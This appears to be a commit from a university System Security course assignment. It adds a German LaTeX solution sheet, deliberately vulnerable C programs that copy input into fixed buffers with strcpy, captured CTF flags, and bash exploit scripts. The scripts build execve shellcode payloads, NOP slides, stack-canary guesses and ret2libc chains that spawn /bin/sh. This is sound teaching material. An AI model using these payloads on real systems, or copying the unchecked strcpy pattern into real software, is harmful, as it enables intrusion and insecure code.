Merge pull request 'Assignment-6' (#3) from Assignment-6 into master
All checks were successful
Latex Build / build-latex (Assignment 4 - Protokollsicherheit (Praxis)) (push) Successful in 32s
Latex Build / build-latex (Assignment 5 - Software Security - Teil 1) (push) Successful in 32s
Latex Build / build-latex (Assignment 6 - Software Security - Teil 2) (push) Successful in 32s

Reviewed-on: #3
This commit is contained in:
chronal 2024-06-28 16:35:35 +02:00
commit d7c5c2b778
23 changed files with 359 additions and 1 deletions

View file

@ -10,7 +10,8 @@ jobs:
matrix: matrix:
assignment: [ assignment: [
"Assignment 4 - Protokollsicherheit (Praxis)", "Assignment 4 - Protokollsicherheit (Praxis)",
"Assignment 5 - Software Security - Teil 1" "Assignment 5 - Software Security - Teil 1",
"Assignment 6 - Software Security - Teil 2"
] ]
steps: steps:
- uses: actions/checkout@v3 - uses: actions/checkout@v3

View file

@ -0,0 +1,162 @@
\documentclass[11pt]{scrartcl}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[ngerman]{babel}
\usepackage{lmodern}
\usepackage{graphicx}
\usepackage{listings}
\usepackage{xspace}
\usepackage{amsmath}
\usepackage{algorithm}
\usepackage{algpseudocode}
\usepackage{xifthen}
\usepackage{xcolor}
\usepackage{pdfpages}
\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
\usepackage{amsmath,amssymb,amstext,amsthm}
\usepackage[shortlabels]{enumitem}
\usepackage[headsepline]{scrlayer-scrpage}
\pagestyle{scrheadings}
\usepackage{titling}
\usepackage{etoolbox}
\usepackage{tikz}
\usepackage{multirow}
\usepackage{tabularx}
\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
\definecolor{string}{rgb}{0.6, 0.1, 0.1}
\definecolor{background}{rgb}{0.95, 0.95, 0.95}
\lstset{
language=bash,
backgroundcolor=\color{background},
basicstyle=\ttfamily\small,
keywordstyle=\color{keyword}\bfseries,
commentstyle=\color{comment}\itshape,
stringstyle=\color{string},
tabsize=2,
showspaces=false,
showstringspaces=false,
frame=single,
numbers=left,
numberstyle=\tiny\color{gray},
breaklines=true,
captionpos=b,
escapeinside={(*@}{@*)},
}
\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
\tikzset{%
initial text={},
state/.style={circle, draw, minimum size=.6cm},
every initial by arrow/.style={-stealth},
every loop/.append style={-stealth},
>=stealth
}
\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}}
\ihead{System Security, SoSe 24, Assignment \thesheetnr}
% Sheet number
\newcounter{sheetnr}
\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}}
% Exercise environments
\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{}
\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
% Makros
% MACRO for whole diagram
% #1: total width of diagram
% #2: total height of diagram
% #3: nodes, paths, ...
\newcommand\protocolflow[3]{
\begin{center}
\begin{tikzpicture}[x=#1cm,y=#2cm]
#3
\end{tikzpicture}
\end{center}
}
% MACRO for path line shortening
% #1: start coordinate
% #2: target coordinate
% #3: text above arrow
\newcommand{\package}[3]{
\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2);
}
% Anpassen --> %
\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer}
\sheetnr{6}
% <-- Anpassen %
\begin{document}
\begin{exercise}[Smashing the Stack for Fun and Profit]{5}
\begin{subexercises}
\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert.
\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| }
\hline
Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\
\hline
Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\
\hline
Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\
\hline
Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\
\hline
Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\
\hline
Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\
\hline
Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\
\hline
\end{tabular}
\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
\lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
\end{subexercises}
\end{exercise}
\begin{exercise}[Stack-Based Buffer Overflow]{6}
\begin{subexercises}
\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\
\begin{lstlisting}[language=Bash]
#!/usr/bin/env sh
# 21 Byte Shellcode
SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Padding to fill:
# - 79 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
PADDING=$(printf "A%.0s" $(seq 1 91))
# Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF"
printf $SHELLCODE$PADDING$RETADDR
\end{lstlisting}
\item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\
\end{subexercises}
\end{exercise}
\end{document}

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

View file

@ -0,0 +1,24 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// vulnerable function
int overflow_me(char* input)
{
char buff[100];
printf("Buffer is at %p\n", &buff); // buff's address is leaked :O
strcpy(buff, input);
return 1;
}
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
overflow_me(argv[1]);
return 0;
}

View file

@ -0,0 +1 @@
flag{THAT_WAS_EASY_HUH}

View file

@ -0,0 +1,14 @@
#!/bin/bash
# flag{THAT_WAS_EASY_HUH}
######### Exploit #########
# Step 1: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Step 2: Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..91}
# Step 3: Overwrite the stored EIP with the address of the shellcode
printf "\x2c\xd5\xff\xff"
###########################

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

View file

@ -0,0 +1 @@
flag{CANARY_IS_ALSO_AN_ISLAND}

View file

@ -0,0 +1,41 @@
#!/bin/bash
# flag{CANARY_IS_ALSO_AN_ISLAND}
##### Exploit Creation Steps #####
# Step 1: Locate address of 'int stack_canaries [10]' using gdb
# Command: disas owerflow
# -> 0x56559020
##################################
# Step 2: Print all 10 possible stack canaries in gdb
# Command: x/10xw 0x56559020
##################################
# Step 3: Select only those canaries that do not contain a null byte
##################################
# Step 4: Combine Slide Rider with the selected stack canaries
##################################
############ Exploit ##############
# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
# Note: Only canaries without null bytes can be used due to the use of strcpy.
case $(( RANDOM % 3 )) in
0)
printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
;;
1)
printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
;;
2)
printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
;;
esac
# Step 2: Fill the buffer with a candidate return address
printf "\x10\xd6\xff\xff%.0s" {1..30}
# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}
# Step 4: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###################################

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

Binary file not shown.

View file

@ -0,0 +1,23 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vuln(char* input) {
char buff[100];
strcpy(buff, input);
return 0;
}
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
vuln(argv[1]);
return 0;
}

View file

@ -0,0 +1,31 @@
#!/bin/bash
# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
##### Exploit Creation Steps #####
###################################
# Step 1: Locate the offset of the string '/bin/sh' in libc
# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
# ---> 0x18c363
# Step 2: Determine the base address of libc in the ret2libc environment using gdb
# Command: info proc map
# ---> 0xf7dd4000
# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
# Commands:
# p system -> 0xf7e15360
# p exit -> 0xf7e07ec0
###################################
############ Exploit ##############
# Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..112}
# Overwrite the stored EIP with the address of 'system' function
# Place the address of 'exit' function as the return address for 'system'
# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
# All addresses are in little-endian format
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
###################################

View file

@ -0,0 +1,29 @@
#!/bin/bash
##### Exploit Creation Steps #####
###################################
# Step 1: Find the addresses of 'system' and 'exit' functions using gdb
# Commands:
# p system -> 0xf7e15360
# p exit -> 0xf7e07ec0
# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable
# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned"
# Step 3: Find the address of the environment variable string in memory using gdb
# Command: x/s *((char **)environ+16) (17th env. variable)
# Add 8 to the address to skip the 'COMMAND=' part
# -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error)
###################################
############ Exploit ##############
# Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..112}
# Overwrite the stored EIP with the address of the 'system' function
# Place the address of the 'exit' function as the return address for 'system'
# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND
# All addresses are in little-endian format
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff"
###################################

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

View file

@ -0,0 +1 @@
flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}

View file

@ -0,0 +1,16 @@
#!/bin/bash
# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
######### Exploit #########
# Step 1: Fill the buffer with a candidate return address
printf "\x0c\xd6\xff\xff%.0s" {1..30}
# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}
# Step 3: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###########################

View file

@ -0,0 +1,12 @@
#!/usr/bin/env sh
# slide for buffer size 20 + 2 bytes of saved ebp
SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
# jump over the ret addr
JMP_OVER_RET="\xeb\x04"
RET_ADDR="\x08\xdc\xff\xff"
# main nop slide (500 Bytes)
SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE

View file

@ -7,6 +7,7 @@
assignments = [ assignments = [
"Assignment 4 - Protokollsicherheit (Praxis)" "Assignment 4 - Protokollsicherheit (Praxis)"
"Assignment 5 - Software Security - Teil 1" "Assignment 5 - Software Security - Teil 1"
"Assignment 6 - Software Security - Teil 2"
]; ];
forAllSystems = function: forAllSystems = function: